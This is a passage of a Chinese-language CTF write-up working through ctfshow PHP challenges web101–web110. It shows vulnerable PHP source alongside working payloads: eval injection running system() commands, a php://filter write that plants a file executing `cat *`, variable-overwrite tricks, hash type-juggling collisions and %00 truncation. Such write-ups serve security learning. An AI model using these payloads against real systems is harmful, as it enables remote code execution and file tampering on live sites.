19<\/code><\/pre>\n<blockquote>\n<p>\u4ee3\u7801\u5ba1\u8ba1\u4e00\u4e0b\uff1a<\/p>\n<p><code>flag<\/code>\u5728<code>ctfshow<\/code>\u7c7b\u4e2d\u3002\u3002\u3002<\/p>\n<ul>\n<li>\u5bf9<code>vo<\/code>\u5224\u65ad\uff0c\u4e3a\u4e00\u5219\u5f80\u4e0b\u6267\u884c<\/li>\n<li>\u5bf9<code>v2<\/code>,<code>v3<\/code>\u8fdb\u884c\u8fc7\u6ee4<\/li>\n<li>\u6267\u884c<code>eval<\/code><\/li>\n<\/ul>\n<\/blockquote>\n<p>\u6839\u636e\u5927\u5e08\u5085\u89e3\u6cd5\uff0c\u9700\u8981\u5148\u4e86\u89e3\u4e00\u4e0b<code>new Reflectionclass<\/code><\/p>\n<blockquote>\n<p><code>ReflectionClass<\/code>\uff1a\u4e00\u4e2a\u53cd\u5c04\u7c7b\uff0c\u529f\u80fd\u5341\u5206\u5f3a\u5927\uff0c\u5185\u7f6e\u4e86\u5404\u79cd\u83b7\u53d6\u7c7b\u4fe1\u606f\u7684\u65b9\u6cd5\uff0c\u521b\u5efa\u65b9\u5f0f\u4e3a<code>new ReflectionClass<\/code>(str \u7c7b\u540d)\uff0c\u53ef\u4ee5\u7528<code>echo new ReflectionClass(&#039;className&#039;)<\/code>\u6253\u5370\u7c7b\u7684\u4fe1\u606f\u3002<\/p>\n<\/blockquote>\n<p>\u6784\u9020payload\uff1a<\/p>\n<pre><code>\/?v1=888&amp;v2=echo new ReflectionClass&amp;v3=;<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933334.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933334.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220928081814096\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u5f97\u5230<code>flag<\/code>\u4ee5\u540e\u5c06<code>flag<\/code>\u5185\u7684<code>0x2d<\/code>\u6362\u6210-\uff0c\u53d1\u73b0\u5c11\u4e86\u4e00\u4f4d\uff0c\u63d0\u4ea4\u4e0d\u6b63\u786e\uff0c\u770b\u5230<code>Hint<\/code>\u8bf4\u9700\u8981\u7206\u7834\uff0c\u5c1d\u8bd5\uff0c\u6700\u7ec8\u83b7\u5f97flag\uff0c\u63d0\u4ea4\u6b63\u786e\uff01\uff01\uff01<\/p>\n<p>\u5bf9\u4e86\uff0c\u8bb0\u5f97\u52a0\u4e0a<code>ctfshow{}<\/code>\u7684\u5916\u58f3<\/p>\n<h2>Hint<\/h2>\n<h3>Hint1<\/h3>\n<pre><code class=\"language-php\">?v1=1&amp;v2=echo new Reflectionclass&amp;v3=;<\/code><\/pre>\n<h3>Hint2<\/h3>\n<pre><code class=\"language-text\">\u66ff\u63620x2d\u4e3a-,\u6700\u540e\u4e00\u4f4d\u9700\u8981\u7206\u783416\u6b21\uff0c\u9898\u76ee\u7ed9\u7684flag\u5c11\u4e00\u4f4d<\/code><\/pre>\n<h1>web102<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\n$v1 = $_POST[&#039;v1&#039;];\n$v2 = $_GET[&#039;v2&#039;];\n$v3 = $_GET[&#039;v3&#039;];\n$v4 = is_numeric($v2) and is_numeric($v3);\nif($v4){\n    $s = substr($v2,2);\n    $str = call_user_func($v1,$s);\n    echo $str;\n    file_put_contents($v3,$str);\n}\nelse{\n    die(&#039;hacker&#039;);\n}\n?&gt;\nNotice: Undefined index: v1 in \/var\/www\/html\/index.php on line 14\nNotice: Undefined index: v2 in \/var\/www\/html\/index.php on line 15\nNotice: Undefined index: v3 in \/var\/www\/html\/index.php on line 16\nhacker<\/code><\/pre>\n<p>\u5148\u770b\u4e00\u4e0b\u76f8\u5173\u51fd\u6570\uff1a<\/p>\n<div align=\"center\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='WEB\u5165\u95e8\u2014\u2014PHP\u7279\u6027.assets\/image-20220928085227392.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"WEB\u5165\u95e8\u2014\u2014PHP\u7279\u6027.assets\/image-20220928085227392.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220928085227392\" style=\"zoom:33%;\" \/><\/div><\/div>\n<blockquote>\n<p><strong>call_user_func<\/strong><\/p>\n<p>(PHP 4, PHP 5, PHP 7, PHP 8)<\/p>\n<p>call_user_func \u2014 \u628a\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u8c03\u7528<\/p>\n<p><strong>\u8bf4\u660e<\/strong><\/p>\n<p>call_user_func(<a href=\"https:\/\/www.php.net\/manual\/zh\/language.types.callable.php\">callable<\/a> <code>$callback<\/code>, <a href=\"https:\/\/www.php.net\/manual\/zh\/language.types.declarations.php#language.types.declarations.mixed\">mixed<\/a> <code>...$args<\/code>): <a href=\"https:\/\/www.php.net\/manual\/zh\/language.types.declarations.php#language.types.declarations.mixed\">mixed<\/a><\/p>\n<p>\u7b2c\u4e00\u4e2a\u53c2\u6570 <code>callback<\/code> \u662f\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570\uff0c\u5176\u4f59\u53c2\u6570\u662f\u56de\u8c03\u51fd\u6570\u7684\u53c2\u6570\u3002<\/p>\n<p><strong>\u53c2\u6570<\/strong><\/p>\n<ul>\n<li>\n<p><code>callback<\/code><\/p>\n<p>\u5c06\u88ab\u8c03\u7528\u7684\u56de\u8c03\u51fd\u6570\uff08<a href=\"https:\/\/www.php.net\/manual\/zh\/language.types.callable.php\">callable<\/a>\uff09\u3002<\/p>\n<\/li>\n<li>\n<p><code>args<\/code><\/p>\n<p>0\u4e2a\u6216\u4ee5\u4e0a\u7684\u53c2\u6570\uff0c\u88ab\u4f20\u5165\u56de\u8c03\u51fd\u6570\u3002<strong>\u6ce8\u610f<\/strong>:\u8bf7\u6ce8\u610f\uff0c\u4f20\u5165<strong>call_user_func()<\/strong>\u7684\u53c2\u6570\u4e0d\u80fd\u4e3a\u5f15\u7528\u4f20\u9012\u3002<\/p>\n<\/li>\n<\/ul>\n<\/blockquote>\n<p>\u9996\u5148\u5148\u6784\u9020\u67e5\u770b\u4e00\u4e0bphp\u7248\u672c\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933335.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933335.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220928090916527\" \/><\/div><\/p>\n<p>php\u7248\u672c\u5728<code>5.x<\/code>\u4ee5\u4e0a\uff0c\u65e0\u6cd5\u901a\u8fc70x\u5b57\u7b26\u4e32\u8fdb\u884c\u7ed5\u8fc7\u3002\u3002\u3002\u3002<\/p>\n<p>\u5927\u5e08\u5085\u6784\u9020\u4e86\u4e00\u4e2a\u79d1\u5b66\u8ba1\u6570\u6cd5\u7ed5\u8fc7\uff1a\uff08\u524d\u9762\u768411\u968f\u4fbf\u6362\u6210\u5565\u4e24\u4f4d\u6570\u5b57\u90fd\u884c\uff0c\u56e0\u4e3a\u4f1a\u88ab\u622a\u65ad\u6389\uff09<\/p>\n<p><code>115044383959474e6864434171594473<\/code>---&gt;<code>PD89YGNhdCAqYDs<\/code><\/p>\n<p>\u8fdb\u884c<code>base64<\/code>\u89e3\u7801\u5c31\u80fd\u770b\u5230\u5b83\u7684\u5e90\u5c71\u771f\u9762\u76ee\u4e86\uff1a<\/p>\n<pre><code class=\"language-text\">&lt;?=`cat *`;<\/code><\/pre>\n<p>\u6784\u9020payload\uff1a<\/p>\n<pre><code class=\"language-payload\">\/?v2=115044383959474e6864434171594473&amp;v3=php:\/\/filter\/write=convert.base64-decode\/resource=1.php\nv1=hex2bin<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933336.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933336.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220928091736952\" style=\"zoom:50%;\" \/><\/div><\/p>\n<p>\u6709\u56de\u663e\u8bf4\u660e\u5199\u5165\u6210\u529f\u4e86\uff0c\u8bbf\u95ee1.php\u67e5\u770b\u6e90\u4ee3\u7801\u5373\u53ef\u83b7\u5f97flag\uff01\uff01\uff01<\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-php\">GET\nv2=115044383959474e6864434171594473&amp;v3=php:\/\/filter\/write=convert.base64-decode\/resource=2.php\nPOST\nv1=hex2bin\n#\u8bbf\u95ee1.php\u540e\u67e5\u770b\u6e90\u4ee3\u7801\u83b7\u5f97flag<\/code><\/pre>\n<h1>web103<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\n$v1 = $_POST[&#039;v1&#039;];\n$v2 = $_GET[&#039;v2&#039;];\n$v3 = $_GET[&#039;v3&#039;];\n$v4 = is_numeric($v2) and is_numeric($v3);\nif($v4){\n    $s = substr($v2,2);\n    $str = call_user_func($v1,$s);\n    echo $str;\n    if(!preg_match(&quot;\/.*p.*h.*p.*\/i&quot;,$str)){\n        file_put_contents($v3,$str);\n    }\n    else{\n        die(&#039;Sorry&#039;);\n    }\n}\nelse{\n    die(&#039;hacker&#039;);\n}\n?&gt;\nNotice: Undefined index: v1 in \/var\/www\/html\/index.php on line 14\nNotice: Undefined index: v2 in \/var\/www\/html\/index.php on line 15\nNotice: Undefined index: v3 in \/var\/www\/html\/index.php on line 16\nhacker<\/code><\/pre>\n<p>\u548c\u4e0a\u4e00\u9898\u4e00\u6837\u7684payload\uff1a<\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-php\">GET\nv2=115044383959474e6864434171594473&amp;v3=php:\/\/filter\/write=convert.base64-\ndecode\/resource=2.php\nPOST\nv1=hex2bin\n#\u8bbf\u95ee1.php\u540e\u67e5\u770b\u6e90\u4ee3\u7801\u83b7\u5f97flag<\/code><\/pre>\n<h1>web104<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\ninclude(&quot;flag.php&quot;);\nif(isset($_POST[&#039;v1&#039;]) &amp;&amp; isset($_GET[&#039;v2&#039;])){\n    $v1 = $_POST[&#039;v1&#039;];\n    $v2 = $_GET[&#039;v2&#039;];\n    if(sha1($v1)==sha1($v2)){\n        echo $flag;\n    }\n}<\/code><\/pre>\n<p>\u672c\u9898\u6ca1\u6709\u8981\u6c42\u5224\u65ad\u4e24\u4e2a\u53d8\u91cf\u662f\u5426\u76f8\u540c\uff0c\u76f4\u63a5\u7ed9\u4fe9\u4e00\u6837\u7684\u53c2\u6570\u5c31\u884c\u4e86\u3002<\/p>\n<pre><code class=\"language-text\">POST:v1=1\nGET:v2=1<\/code><\/pre>\n<p>\u5f53\u7136\u4e5f\u53ef\u4ee5\u4f7f\u7528\u6570\u7ec4\u7ed5\u8fc7\uff0c\u90fd\u4f1a\u8fd4\u56defalse\uff0c<\/p>\n<pre><code class=\"language-text\">POST:v1[]=1\nGET:v2[]=1<\/code><\/pre>\n<p><code>Hint<\/code>\u91cc\u7684\u610f\u601d\u5e94\u8be5\u662f\u60f3\u5b9e\u73b0<code>0e\u7ed5\u8fc7<\/code>\uff0c0e\u5f00\u5934\u7684\u5b57\u7b26\u4e32\u5728\u53c2\u4e0e\u6bd4\u8f83\u65f6,\u4f1a\u88ab\u5f53\u505a\u79d1\u5b66\u8ba1\u6570\u6cd5\uff0c\u4fe9\u90fd\u4f1a\u8f6c\u5316\u62100\u3002<\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-text\">#payload\naaK1STfY\n0e76658526655756207688271159624026011393\naaO8zKZF\n0e89257456677279068558073954252716165668<\/code><\/pre>\n<h1>web105<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\ninclude(&#039;flag.php&#039;);\nerror_reporting(0);\n$error=&#039;\u4f60\u8fd8\u60f3\u8981flag\u561b\uff1f&#039;;\n$suces=&#039;\u65e2\u7136\u4f60\u60f3\u8981\u90a3\u7ed9\u4f60\u5427\uff01&#039;;\nforeach($_GET as $key =&gt; $value){\n    if($key===&#039;error&#039;){\n        die(&quot;what are you doing?!&quot;);\n    }\n    $$key=$$value;\n}foreach($_POST as $key =&gt; $value){\n    if($value===&#039;flag&#039;){\n        die(&quot;what are you doing?!&quot;);\n    }\n    $$key=$$value;\n}\nif(!($_POST[&#039;flag&#039;]==$flag)){\n    die($error);\n}\necho &quot;your are good&quot;.$flag.&quot;\\n&quot;;\ndie($suces);\n?&gt;\n\u4f60\u8fd8\u60f3\u8981flag\u561b\uff1f<\/code><\/pre>\n<blockquote>\n<p>\u4ee3\u7801\u5ba1\u8ba1\uff1a<\/p>\n<ul>\n<li>\u5bf9GET\u8fdb\u884c\u5224\u65ad\u8986\u76d6<\/li>\n<li>\u5bf9POST\u8fdb\u884c\u5224\u65ad\u8986\u76d6<\/li>\n<li>\u5224\u65ad\u6253\u5370flag<\/li>\n<\/ul>\n<\/blockquote>\n<p>\u6784\u9020payload\uff1a<\/p>\n<pre><code class=\"language-php\">POST:\/?suces=flag\nGET:error=suces<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933337.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933337.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220928103822416\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-text\">\u8003\u5bdf:php\u7684\u53d8\u91cf\u8986\u76d6 payload\uff1a GET: ?suces=flag POST: error=suces<\/code><\/pre>\n<h1>web106<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\ninclude(&quot;flag.php&quot;);\n\nif(isset($_POST[&#039;v1&#039;]) &amp;&amp; isset($_GET[&#039;v2&#039;])){\n    $v1 = $_POST[&#039;v1&#039;];\n    $v2 = $_GET[&#039;v2&#039;];\n    if(sha1($v1)==sha1($v2) &amp;&amp; $v1!=$v2){\n        echo $flag;\n    }\n}\n?&gt;<\/code><\/pre>\n<p>\u6570\u7ec4\u7ed5\u8fc7\u5373\u53ef\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933338.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933338.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220928104454272\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h1>web107<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\nerror_reporting(0);\ninclude(&quot;flag.php&quot;);\n\nif(isset($_POST[&#039;v1&#039;])){\n    $v1 = $_POST[&#039;v1&#039;];\n    $v3 = $_GET[&#039;v3&#039;];\n       parse_str($v1,$v2);\n       if($v2[&#039;flag&#039;]==md5($v3)){\n           echo $flag;\n       }\n}\n?&gt;<\/code><\/pre>\n<p>\u67e5\u4e00\u4e0b\u76f8\u5173\u51fd\u6570\uff1a<\/p>\n<blockquote>\n<p><strong>parse_str<\/strong><\/p>\n<p>(PHP 4, PHP 5, PHP 7, PHP 8)<\/p>\n<p>parse_str \u2014 \u5c06\u5b57\u7b26\u4e32\u89e3\u6790\u6210\u591a\u4e2a\u53d8\u91cf<\/p>\n<p><strong>\u8bf4\u660e<\/strong><\/p>\n<p>parse_str(string <code>$string<\/code>, array <code>&amp;$result<\/code>): void<\/p>\n<p>\u5982\u679c <code>string<\/code> \u662f URL \u4f20\u9012\u5165\u7684\u67e5\u8be2\u5b57\u7b26\u4e32\uff08query string\uff09\uff0c\u5219\u5c06\u5b83\u89e3\u6790\u4e3a\u53d8\u91cf\u5e76\u8bbe\u7f6e\u5230\u5f53\u524d\u4f5c\u7528\u57df\uff08\u5982\u679c\u63d0\u4f9b\u4e86 <code>result<\/code> \u5219\u4f1a\u8bbe\u7f6e\u5230\u8be5\u6570\u7ec4\u91cc \uff09\u3002<\/p>\n<p><strong>\u53c2\u6570<\/strong><\/p>\n<ul>\n<li>\n<p><code>string<\/code><\/p>\n<p>\u8f93\u5165\u7684\u5b57\u7b26\u4e32\u3002<\/p>\n<\/li>\n<li>\n<p><code>result<\/code><\/p>\n<p>\u5982\u679c\u8bbe\u7f6e\u4e86\u7b2c\u4e8c\u4e2a\u53d8\u91cf <code>result<\/code>\uff0c \u53d8\u91cf\u5c06\u4f1a\u4ee5\u6570\u7ec4\u5143\u7d20\u7684\u5f62\u5f0f\u5b58\u5165\u5230\u8fd9\u4e2a\u6570\u7ec4\uff0c\u4f5c\u4e3a\u66ff\u4ee3\u3002<strong>\u8b66\u544a<\/strong>\u6781\u5ea6<em>\u4e0d\u5efa\u8bae<\/em>\u5728\u6ca1\u6709 <code>result<\/code> \u53c2\u6570\u7684\u60c5\u51b5\u4e0b\u4f7f\u7528\u6b64\u51fd\u6570\uff0c \u5e76\u4e14\u5728 PHP 7.2 \u4e2d\u5c06<em>\u5e9f\u5f03<\/em>\u4e0d\u8bbe\u7f6e\u53c2\u6570\u7684\u884c\u4e3a\u3002PHP 8.0.0 \u8d77\uff0c<code>result<\/code> \u53c2\u6570\u662f<em>\u5f3a\u5236\u7684<\/em>\u3002<\/p>\n<\/li>\n<\/ul>\n<\/blockquote>\n<p>\u4e3b\u8981\u662f\u6784\u9020<code>v2<\/code>\u4e0e<code>v3\u7684md5<\/code>\u76f8\u540c\u76f8\u540c\u5219\u6253\u5370flag\u3002<\/p>\n<p>\u6784\u9020payload\uff1a<\/p>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933339.png'><img class=\"lazyload lazyload-style-2\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/pic-for-be.oss-cn-hangzhou.aliyuncs.com\/img\/202210051933339.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"image-20220928105758850\" style=\"zoom:50%;\" \/><\/div><\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-php\">GET: ?v3=240610708 POST: v1=flag=0<\/code><\/pre>\n<h1>web108<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\nerror_reporting(0);\ninclude(&quot;flag.php&quot;);\n\nif (ereg (&quot;^[a-zA-Z]+$&quot;, $_GET[&#039;c&#039;])===FALSE)  {\n    die(&#039;error&#039;);\n}\n\/\/\u53ea\u670936d\u7684\u4eba\u624d\u80fd\u770b\u5230flag\nif(intval(strrev($_GET[&#039;c&#039;]))==0x36d){\n    echo $flag;\n}\n?&gt;\nerror<\/code><\/pre>\n<p>\u67e5\u4e00\u4e0b\u76f8\u5173\u51fd\u6570\uff1a<\/p>\n<blockquote>\n<p><code>ereg()<\/code>\u51fd\u6570\u7528\u6307\u5b9a\u7684\u6a21\u5f0f\u641c\u7d22\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\u6307\u5b9a\u7684\u5b57\u7b26\u4e32,\u5982\u679c\u5339\u914d\u6210\u529f\u8fd4\u56de<code>true<\/code>,\u5426\u5219,\u5219\u8fd4\u56de<code>false<\/code>\u3002\u641c\u7d22\u5b57\u6bcd\u7684\u5b57\u7b26\u662f\u5927\u5c0f\u5199\u654f\u611f\u7684\u3002<\/p>\n<p>\u53ef\u9009\u7684\u8f93\u5165\u53c2\u6570\u89c4\u5219\u5305\u542b\u4e00\u4e2a\u6570\u7ec4\u7684\u6240\u6709\u5339\u914d\u8868\u8fbe\u5f0f,\u4ed6\u4eec\u88ab\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u62ec\u53f7\u5206\u7ec4\u3002<\/p>\n<p><code>ereg<\/code>\u51fd\u6570\u5b58\u5728NULL\u622a\u65ad\u6f0f\u6d1e\uff0c\u5bfc\u81f4\u4e86\u6b63\u5219\u8fc7\u6ee4\u88ab\u7ed5\u8fc7,\u6240\u4ee5\u53ef\u4ee5\u4f7f\u7528<code>%00<\/code>\u622a\u65ad\u6b63\u5219\u5339\u914d<\/p>\n<p><code>ereg()<\/code>\u53ea\u80fd\u5904\u7406\u5b57\u7b26\u4e32\u7684\uff0c\u9047\u5230\u6570\u7ec4\u505a\u53c2\u6570\u8fd4\u56deNULL<\/p>\n<p><code>strrev<\/code>\u662f\u9006\u5b57\u7b26\u4e32<\/p>\n<\/blockquote>\n<p>\u5229\u7528<code>%00<\/code>\u622a\u65ad\u6784\u9020payload\uff1a<\/p>\n<pre><code class=\"language-text\">a%00778<\/code><\/pre>\n<p>\u5f97\u5230flag\uff0c\u5f53\u7136\uff0c\u5229\u7528intval\u8f6c\u5316\u7684\u7279\u70b9\u8fd8\u53ef\u4ee5\u884d\u751f\u51fa\u5f88\u591a\u5927\u540c\u5c0f\u5f02\u7684\u89e3\u6cd5\u3002\u3002\u3002<\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-text\">ereg()\u51fd\u6570\u7528\u6307\u5b9a\u7684\u6a21\u5f0f\u641c\u7d22\u4e00\u4e2a\u5b57\u7b26\u4e32\u4e2d\u6307\u5b9a\u7684\u5b57\u7b26\u4e32,\u5982\u679c\u5339\u914d\u6210\u529f\u8fd4\u56detrue,\u5426\u5219,\u5219\u8fd4\u56defalse\u3002\u641c\u7d22\u5b57 \u6bcd\u7684\u5b57\u7b26\u662f\u5927\u5c0f\u5199\u654f\u611f\u7684\u3002 ereg\u51fd\u6570\u5b58\u5728NULL\u622a\u65ad\u6f0f\u6d1e\uff0c\u5bfc\u81f4\u4e86\u6b63\u5219\u8fc7\u6ee4\u88ab\u7ed5\u8fc7,\u6240\u4ee5\u53ef\u4ee5\u4f7f\u7528%00\u622a\u65ad\u6b63\u5219\u5339\u914d\n\n?c=a%00778<\/code><\/pre>\n<h1>web109<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\nerror_reporting(0);\nif(isset($_GET[&#039;v1&#039;]) &amp;&amp; isset($_GET[&#039;v2&#039;])){\n    $v1 = $_GET[&#039;v1&#039;];\n    $v2 = $_GET[&#039;v2&#039;];\n\n    if(preg_match(&#039;\/[a-zA-Z]+\/&#039;, $v1) &amp;&amp; preg_match(&#039;\/[a-zA-Z]+\/&#039;, $v2)){\n            eval(&quot;echo new $v1($v2());&quot;);\n    }\n}\n?&gt;<\/code><\/pre>\n<h2>\u65b9\u6cd5\u4e00\uff1a\u53cd\u5c04\u7c7b<\/h2>\n<p>\u548c\u4e0a\u9762\u6709\u4e00\u9053\u9898\u4e00\u6837\u4f7f\u7528\u53cd\u5c04\u7c7b\u5373\u53ef\uff1a<\/p>\n<pre><code class=\"language-php\">\/?v1=ReflectionClass&amp;v2=system(&#039;ls&#039;)\n\/?v1=ReflectionClass&amp;v2=system(&#039;tac fl36dg.txt&#039;)<\/code><\/pre>\n<h2>\u65b9\u6cd5\u4e8c\uff1a\u6269\u5c55\u7c7b<\/h2>\n<p>\u4f7f\u7528\u6269\u5c55\u7c7b\u6267\u884c\u5206\u6279\u6b21\u8f93\u5165\u547d\u4ee4\u548c\u53c2\u6570\u4ece\u800c\u6267\u884c<\/p>\n<pre><code class=\"language-php\">\/?v1=exception&amp;v2=system(&#039;tac fl36dg.txt&#039;));\/\/<\/code><\/pre>\n<p>\u6ce8\u610f\u8981\u6ce8\u91ca\u6389\u540e\u9762\u7684\uff0c\u518d\u95ed\u5408\u524d\u9762\u7684\u3002<\/p>\n<h2>Hint<\/h2>\n<pre><code class=\"language-text\">Exception \u5f02\u5e38\u5904\u7406\u7c7b http:\/\/c.biancheng.net\/view\/6253.html \npayload: ?v1=Exception&amp;v2=system(&#039;cat fl36dg.txt&#039;) \n?v1=Reflectionclass&amp;v2=system(&#039;cat fl36dg.txt&#039;)<\/code><\/pre>\n<h1>web110<\/h1>\n<pre><code class=\"language-php\">&lt;?php\nhighlight_file(__FILE__);\nerror_reporting(0);\nif(isset($_GET[&#039;v1&#039;]) &amp;&amp; isset($_GET[&#039;v2&#039;])){\n    $v1 = $_GET[&#039;v1&#039;];\n    $v2 = $_GET[&#039;v2&#039;];\n\n    if(preg_match(&#039;\/\\~|\\`|\\!|\\@|\\#|\\\\$|\\%|\\^|\\&amp;|\\*|\\(|\\)|\\_|\\-|\\+|\\=|\\{|\\[|\\;|\\:|\\&quot;|\\&#039;|\\,|\\.|\\?|\\\\\\\\|\\\/|[0-9]\/&#039;, $v1)){\n            die(&quot;error 